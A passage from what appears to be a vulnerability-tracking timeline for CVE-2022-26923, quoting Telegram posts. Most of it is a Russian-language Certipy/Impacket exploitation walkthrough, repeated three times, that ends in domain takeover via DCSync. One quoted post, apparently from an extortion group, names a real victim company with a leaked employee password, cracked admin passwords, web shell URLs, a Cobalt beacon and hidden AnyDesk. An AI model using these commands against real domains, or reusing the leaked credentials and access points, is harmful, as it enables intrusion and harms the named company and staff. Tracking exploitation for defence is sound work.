"CVE-2022-26923", "field": "creation_timestamp", "uuid": "d39c2d56-cc79-479d-bbda-69f014cb4040", "content": "#\u041d\u043e\u0432\u043e\u0441\u0442\u0438\n\nMetasploit Weekly Wrap-Up\n\nThis week Metasploit has a new ICPR Certificate Management module from Oliver Lyak and our very own Spencer McIntyre, which can be utilized for issuing certificates via Active Directory Certificate Services. It has the capability to issue certificates which is useful in a few contexts including persistence, ESC1 and as a primitive necessary for exploiting CVE-2022-26923. Resulting in the PFX certificate file being stored to loot and is encrypted using a blank password.", "url": "https://t.me/poxek/2448"}, {"timestamp": "2022-09-08T00:00:00Z", "date_only": true, "value": "2022-09-08", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "evidence.0.details.due_date", "uuid": "47b9d953-248d-4822-8b10-c67a7e4421d6", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-17T08:00:00Z", "date_only": false, "value": "2023-01-17T08:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2023-01-27T14:14:45Z", "date_only": false, "value": "2023-01-27T14:14:45.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "0e97418f-84f2-465d-aafc-160a474c987b", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb"}, {"timestamp": "2023-04-11T07:00:00Z", "date_only": false, "value": "2023-04-11T07:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.revision_history.3.date"}, {"timestamp": "2023-04-11T07:00:00Z", "date_only": false, "value": "2023-04-11T07:00:00.000Z", "kind": "other", "label": "Updated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.current_release_date"}, {"timestamp": "2023-06-14T21:10:04Z", "date_only": false, "value": "2023-06-14T21:10:04.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "1f944c8d-294d-418e-a2b5-630e553988c3"}, {"timestamp": "2023-08-18T11:00:39Z", "date_only": false, "value": "2023-08-18T11:00:39.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/snatch_info/129", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "c08f4d76-6ff9-4b20-b4f0-6322d62d53bd", "content": "CyberSnatch, part 1\n\ud83c\udfafReport on the search for vulnerabilities in the local network of ixperta.com, further called \u201ccompany\u201d\n\nInformation:\u00a0\nSlovakia,\u00a0Consumer\u00a0Services\nRevenue:\u00a0$63\u00a0Million\u00a0\nhttps://www.zoominfo.com/c/ixperta-company/369154620\u00a0\nPhone\u00a0Number:\u00a0\n+421\u00a02/322\u00a0927\u00a011\u00a0\nWebsite:\u00a0\nwww.ixperta.com\u00a0\n\u00a0\n\u265fWe found the company's domain on the Internet. By enumerating sub-domains, we found a VPN access point with an address vpn1.ixperta.com. It was a VPN router from Cisco. After conducting reconnaissance of the company in the open network, we were able to find the mailing addresses of their employees. Removed the domain from the address and got a valid login for the Active directory service. By spraying passwords on the logins we found, we gained access to this account \n\nlogin:\u00a0tomas.daniel\u00a0\npassword:\u00a0#JohnvonNeumann7800\u00a0\n\n\ud83c\udfb3 The company uses default settings in the remote VPN access point, and any user from the \"domain users\" group has the right to connect to the VPN point, in addition, no user is in the DMZ zone and by default sees all machines and all open ports on the network.\n\n\ud83c\udfb0 Having found the primary domain controller at the address 172.16.55.100 with the name brndc02.ixperta.local (with the help of the same user tomas.daniel), we completely polled the LDAP server and received all the information about the domain and its objects. \n\nNext step we requested information about the certification authority located at 10.10.10.2 PRGDC01.ixperta.local.\nThe server turned out to be vulnerable to CVE-2022-26923, and having received a certificate with elevated privileges, and we obtained a copy of the ntds database using impacket\nsecretsdump 'ixperta.local/administrator@PRGDC01.ixperta.local' - hashes :a1qw5e8d11e619a41b38fbb938yiy6fb\nWe managed to hack 3 domain administrators account passwords from that database. Got hash for 'administrator@ixperta.local': aad3b435b51404eeaad3b435b51404ee:hidden \u2013 R@mm$te1n\nGot hash for 'a_nikodem@ixperta.local': aad3b435b51404eeaad3b435b51404ee:hidden \u2013 R@mm$te1n\nGot hash for 'a_admin@ixperta.local': aad3b435b51404eeaad3b435b51404ee:hidden - Duben2021 First of all we began to gain a foothold in the system, we hung the first backdoor on their exchange server and web shells were installed at the following addresses https://owa.ixperta.com/owa/auth/exchangeServerErrorSvc.aspx.aspx https://owa.ixperta.com/owa/auth/forgotpassword2.aspx.aspx\n\nOn server 10.20.10.22: brnex03.ixperta.local Cobalt beacon was thrown. At the end we installed hidden AnyDesk on brqb084a.ixperta.local and Money3s.ixperta.local servers.", "url": "https://t.me/snatch_info/129"}, {"timestamp": "2023-11-29T16:13:59Z", "date_only": false, "value": "2023-11-29T16:13:59.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/766", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "3eae56b8-7b7d-4e12-8360-59ed15121127", "content": "#ExploitObserverAlert\n\nCVE-2022-26923\n\nDESCRIPTION: Exploit Observer has 69 entries related to CVE-2022-26923. Active Directory Domain Services Elevation of Privilege Vulnerability.\n\nFIRST-EPSS: 0.005900000\nNVD-IS: 5.9\nNVD-ES: 2.8", "url": "https://t.me/arpsyndicate/766"}, {"timestamp": "2023-12-04T09:46:15Z", "date_only": false, "value": "2023-12-04T09:46:15.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/1171", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "091b2017-e3bb-4866-8b49-dc9f9beb0d08", "content": "#ExploitObserverAlert\n\nCVE-2022-26923\n\nDESCRIPTION: Exploit Observer has 69 entries related to CVE-2022-26923. Active Directory Domain Services Elevation of Privilege Vulnerability.\n\nFIRST-EPSS: 0.006670000\nNVD-IS: 5.9\nNVD-ES: 2.8", "url": "https://t.me/arpsyndicate/1171"}, {"timestamp": "2023-12-13T01:19:38.889Z", "date_only": false, "value": "2023-12-13T01:19:38.889195Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-26923", "record": "GSD-2022-26923", "field": "gsd.osvSchema.modified"}, {"timestamp": "2023-12-18T05:08:25Z", "date_only": false, "value": "2023-12-18T05:08:25.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/1918", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "d14d2f78-9474-4099-b78b-adf45abd8cf9", "content": "#ExploitObserverAlert\n\nCVE-2022-26923\n\nDESCRIPTION: Exploit Observer has 69 entries related to CVE-2022-26923. Active Directory Domain Services Elevation of Privilege Vulnerability.\n\nFIRST-EPSS: 0.006670000\nNVD-IS: 5.9\nNVD-ES: 2.8", "url": "https://t.me/arpsyndicate/1918"}, {"timestamp": "2023-12-19T10:32:37Z", "date_only": false, "value": "2023-12-19T10:32:37.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CherepawwkaChannel/228", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "fb6acf5c-1699-4e83-8063-3ff12732ba72", "content": "Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2022-26923)\ud83d\uddbc\ufe0f\n\n\u041a\u0440\u0430\u0442\u043a\u043e \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e\u0431 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0434\u043e\u043c\u0435\u043d\u0435.\n\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f:\n1. \u0414\u043e\u043c\u0435\u043d\u043d\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c;\n2. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0432 \u0434\u043e\u043c\u0435\u043d;\n3. \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 Machine;\n4. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0431\u0443\u0434\u0435\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0430).\n\n\ud83d\udc0d \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u0443 Certipy, \u043a\u0440\u0430\u0442\u043a\u0430\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0430 \u043f\u043e \u043d\u0435\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0438\u0436\u0435:\n# \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\npip install certipy-ad\n\n# \u0417\u0430\u043f\u0440\u043e\u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\n# \u0434\u043b\u044f certipy-ad v3.0.0:\ncertipy req 'domain.local/username:password@dc.domain.local' -ca 'CA NAME' -template TemplateName\n# \u0434\u043b\u044f certipy-ad v4.8.2:\ncertipy req -u username@domain.local -p password -ca 'CA NAME' -template User -upn thm@domain.local -dc-ip 10.10.10.10\n\n# \u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f NTLM-\u0445\u044d\u0448\u0430:\ncertipy auth -pfx username.pfx -dc-ip 10.10.10.10\n\u041d\u0430\u0447\u043d\u0435\u043c \u0430\u0442\u0430\u043a\u0443 \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 Impacket-Addcomputer\naddcomputer.py 'domain.local/username:password' -method LDAPS -computer-name 'TESTPC' -computer-pass 'P@ssw0rd'\n\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u043b\u044f \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0448\u0430\u0431\u043b\u043e\u043d Machine) \u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043d\u0438\u043c:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\ncertipy auth -pfx testpc.pfx\n\u0414\u0430\u043b\u0435\u0435 \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0445\u043e\u0441\u0442 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c SPN \u0443 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430:\nGet-ADComputer TESTPC -properties dnshostname,serviceprincipalname\nSet-ADComputer TESTPC -DnsHostName DC.domain.local # \u0432\u0435\u0440\u043d\u0451\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438\u0437-\u0437\u0430 \u0434\u0443\u0431\u043b\u0438\u0440\u0443\u044e\u0449\u0435\u0439\u0441\u044f SPN\nSet-ADComputer TESTPC -ServicePrincipalName @{} # \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u043c SPN\nSet-ADComputer TESTPC -DnsHostName DC.domain.local\n\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043d\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0445\u043e\u0441\u0442 \u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043f\u043e\u043b\u0447\u0435\u043d\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c NTLM \u0445\u044d\u0448 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430:\ncertipy auth -pfx dc.pfx\n...\n[*] Got NT hash for 'dc$@domain.local': 14fc9b5814def64289bb694f6659c733\n\u0414\u0430\u043b\u0435\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u043c \u0430\u0442\u0430\u043a\u0443 DCSync \u043b\u044e\u0431\u044b\u043c \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0434\u043b\u044f \u043d\u0430\u0441 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u043c \u0434\u043e\u043c\u0435\u043d:\nsecretsdump.py 'domain.local/dc$@domain.local' -hashes aad3b435b51404eeaad3b435b51404ee:14fc9b5814def64289bb694f6659c733 -outputfile dcsync.txt\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043a CVE-2022-26923 \u0441\u0440\u0435\u0434\u0435 Active Directory, \u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0432 \u043d\u0435\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c, \u0442\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0431\u0443\u0434\u0435\u0442 \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e, \u043a\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 ZeroLogon!\ud83d\udd3a\n#\u043f\u0435\u043d\u0442\u0435\u0441\u0442 #AD", "url": "https://t.me/CherepawwkaChannel/228"}, {"timestamp": "2023-12-21T00:15:12.770Z", "date_only": false, "value": "2023-12-21T00:15:12.770", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-26923", "record": "GSD-2022-26923", "field": "namespaces.nvd.nist.gov.cve.lastModified"}, {"timestamp": "2024-01-12T07:00:52Z", "date_only": false, "value": "2024-01-12T07:00:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poxek/3565", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "43776dd1-9bbb-4a73-872f-de25323d4313", "content": "Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2022-26923)\ud83d\uddbc\ufe0f\n\n\u041a\u0440\u0430\u0442\u043a\u043e \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e\u0431 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0434\u043e\u043c\u0435\u043d\u0435.\n\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f:\n1. \u0414\u043e\u043c\u0435\u043d\u043d\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c;\n2. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0432 \u0434\u043e\u043c\u0435\u043d;\n3. \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 Machine;\n4. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0431\u0443\u0434\u0435\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0430).\n\n\ud83d\udc0d \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u0443 Certipy, \u043a\u0440\u0430\u0442\u043a\u0430\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0430 \u043f\u043e \u043d\u0435\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0438\u0436\u0435:\n# \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\npip install certipy-ad\n\n# \u0417\u0430\u043f\u0440\u043e\u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\n# \u0434\u043b\u044f certipy-ad v3.0.0:\ncertipy req 'domain.local/username:password@dc.domain.local' -ca 'CA NAME' -template TemplateName\n# \u0434\u043b\u044f certipy-ad v4.8.2:\ncertipy req -u username@domain.local -p password -ca 'CA NAME' -template User -upn thm@domain.local -dc-ip 10.10.10.10\n\n# \u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f NTLM-\u0445\u044d\u0448\u0430:\ncertipy auth -pfx username.pfx -dc-ip 10.10.10.10\n\u041d\u0430\u0447\u043d\u0435\u043c \u0430\u0442\u0430\u043a\u0443 \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 Impacket-Addcomputer\naddcomputer.py 'domain.local/username:password' -method LDAPS -computer-name 'TESTPC' -computer-pass 'P@ssw0rd'\n\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u043b\u044f \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0448\u0430\u0431\u043b\u043e\u043d Machine) \u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043d\u0438\u043c:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\ncertipy auth -pfx testpc.pfx\n\u0414\u0430\u043b\u0435\u0435 \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0445\u043e\u0441\u0442 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c SPN \u0443 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430:\nGet-ADComputer TESTPC -properties dnshostname,serviceprincipalname\nSet-ADComputer TESTPC -DnsHostName DC.domain.local # \u0432\u0435\u0440\u043d\u0451\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438\u0437-\u0437\u0430 \u0434\u0443\u0431\u043b\u0438\u0440\u0443\u044e\u0449\u0435\u0439\u0441\u044f SPN\nSet-ADComputer TESTPC -ServicePrincipalName @{} # \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u043c SPN\nSet-ADComputer TESTPC -DnsHostName DC.domain.local\n\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043d\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0445\u043e\u0441\u0442 \u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043f\u043e\u043b\u0447\u0435\u043d\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c NTLM \u0445\u044d\u0448 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430:\ncertipy auth -pfx dc.pfx\n...\n[*] Got NT hash for 'dc$@domain.local': 14fc9b5814def64289bb694f6659c733\n\u0414\u0430\u043b\u0435\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u043c \u0430\u0442\u0430\u043a\u0443 DCSync \u043b\u044e\u0431\u044b\u043c \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0434\u043b\u044f \u043d\u0430\u0441 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u043c \u0434\u043e\u043c\u0435\u043d:\nsecretsdump.py 'domain.local/dc$@domain.local' -hashes aad3b435b51404eeaad3b435b51404ee:14fc9b5814def64289bb694f6659c733 -outputfile dcsync.txt\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043a CVE-2022-26923 \u0441\u0440\u0435\u0434\u0435 Active Directory, \u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0432 \u043d\u0435\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c, \u0442\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0431\u0443\u0434\u0435\u0442 \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e, \u043a\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 ZeroLogon!\ud83d\udd3a\n#\u043f\u0435\u043d\u0442\u0435\u0441\u0442 #AD", "url": "https://t.me/poxek/3565"}, {"timestamp": "2024-01-12T16:11:38Z", "date_only": false, "value": "2024-01-12T16:11:38.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/S_E_Reborn/4401", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "c8f9cf71-2fb8-4d4c-a096-3479479c9491", "content": "Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2022-26923)\ud83d\uddbc\ufe0f\n\n\u041a\u0440\u0430\u0442\u043a\u043e \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e\u0431 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0434\u043e\u043c\u0435\u043d\u0435.\n\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f:\n1. \u0414\u043e\u043c\u0435\u043d\u043d\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c;\n2. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0432 \u0434\u043e\u043c\u0435\u043d;\n3. \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 